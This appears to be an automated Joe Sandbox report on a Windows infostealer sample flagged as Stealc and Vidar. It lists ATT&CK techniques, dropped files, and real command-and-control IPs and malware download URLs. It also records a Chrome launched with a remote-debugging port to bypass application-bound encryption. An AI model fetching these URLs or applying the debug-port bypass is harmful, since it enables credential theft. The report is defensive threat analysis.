Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2695816091.00000000010AC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 380, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2179309523.00000000057A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2697626234.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2695816091.0000000000FE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 380, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 380, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/freebl3.dlld	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllJ	100%	Avira URL Cloud	malware
http://62.60.153.28/Ropsjsn_Belphegor_obf.exet0	0%	Avira URL Cloud	safe
http://62.60.153.28/	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpB	100%	Avira URL Cloud	malware
http://185.215.113.206W	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllM	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exev	100%	Avira URL Cloud	phishing
http://62.60.153.28/215.113.43/Zu7JuNko/index.php3	0%	Avira URL Cloud	safe
http://62.60.153.28/Ropsjsn_Belphegor_obf.exeij	0%	Avira URL Cloud	safe
http://62.60.153.28/Ropsjsn_Belphegor_obf.exeXc	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dll8	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.181.110	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	172.217.21.36	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b2?rn=1732110223131&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CB77821E0D96F30089A6D1CE1DE6E70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402613046_1VJ8MQN6OLRO0EVHP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732110230144&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732110223128&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239391389256_1SXED27HM56UOBU19&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732110230105&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b?rn=1732110223131&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CB77821E0D96F30089A6D1CE1DE6E70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	false		high
http://www.broofa.com	chromecache_506.4.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://ntp.msn.com/0	000003.log0.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://www.last.fm/	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://docs.google.com/	manifest.json0.8.dr	false		high
https://www.youtube.com	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://www.instagram.com	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://drive.google.com/	manifest.json0.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://www.messenger.com	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://i.y.qq.com/n2/m/index.html	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://www.deezer.com/	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
http://62.60.153.28/	skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org/	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://62.60.153.28/Ropsjsn_Belphegor_obf.exet0	skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DHCGIDHDAKJECBFHCBAA.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
https://vibe.naver.com/today	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	false		high
https://assets.msn.com	c7e6d3e3-e840-42b0-8d27-6aace4e63d87.tmp.9.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	false		high
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2695816091.0000000001095000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206W	file.exe, 00000000.00000002.2697626234.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.60.153.28/Ropsjsn_Belphegor_obf.exeij	skotes.exe, 00000022.00000002.3407191247.0000000001410000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_506.4.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
https://www.tiktok.com/	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	CGDHDHJEBGHJKFIECBGCBGCAFI.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dlld	file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllJ	file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpB	file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://msn.comXIDv10	Cookies.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://y.music.163.com/m/	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
http://185.215.113.16/mine/random.exev	file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bard.google.com/	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHDAKJECBFHCBAA.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllM	file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://web.whatsapp.com	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
http://62.60.153.28/215.113.43/Zu7JuNko/index.php3	skotes.exe, 00000022.00000002.3407191247.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://m.kugou.com/	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://www.office.com	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://outlook.live.com/mail/0/	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll8	file.exe, 00000000.00000002.2697626234.0000000001BF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log0.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpj	file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	false		high
https://powerpoint.new?from=EdgeM365Shoreline	087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	false		high
http://62.60.153.28/Ropsjsn_Belphegor_obf.exeXc	skotes.exe, 00000022.00000002.3407191247.0000000001410000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHDAKJECBFHCBAA.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.189.173.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
184.28.190.91	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.110	plus.l.google.com	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.38	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.173.219.84	unknown	United States	3	MIT-GATEWAYSUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.57.90.147	unknown	United States	35994	AKAMAI-ASUS	false
23.44.133.12	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.57	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
23.219.82.88	unknown	United States	20940	AKAMAI-ASN1EU	false
23.200.0.38	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
62.60.153.28	unknown	Iran (ISLAMIC Republic Of)	15611	IROST-ASIR	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559430
Start date and time:	2024-11-20 14:42:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/292@24/26
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172, 172.217.19.227, 172.217.17.46, 74.125.205.84, 34.104.35.123, 172.217.21.35, 172.217.19.10, 142.250.181.10, 172.217.21.42, 172.217.19.170, 142.250.181.106, 142.250.181.74, 142.250.181.42, 172.217.17.74, 172.217.19.234, 172.217.19.202, 172.217.17.42, 216.58.208.234, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 13.107.6.158, 13.87.96.169, 23.32.239.56, 23.32.239.18, 172.165.61.93, 2.19.198.243, 2.19.198.241, 104.126.36.16, 2.19.198.249, 104.126.36.11, 2.19.198.251, 2.19.198.250, 104.126.36.10, 2.19.198.242, 2.19.198.17, 23.32.239.58, 2.16.158.51, 2.16.158.73, 2.16.158.59, 2.16.158.43, 2.16.158.56, 2.16.158.75, 2.16.158.74, 2.16.158.72, 2.16.158.58, 13.107.21.237, 204.79.197.237, 13.74.129.1, 152.199.19.161, 172.217.165.131, 142.250.64.67, 142.250.65.163, 142.251.32.99, 142.250.65.195, 142.251.35.163
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, ris.api.iris.microsoft.com, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, cs9.wpc.v0cdn.net, wildcardtlu.azureedge.net, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, arc.msn.com,
Execution Graph export aborted for target DocumentsHIEHDHCFIJ.exe, PID 8700 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8652 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 9192 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:43:35	API Interceptor	148x Sleep call for process: file.exe modified
08:45:01	API Interceptor	68x Sleep call for process: skotes.exe modified
14:44:00	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
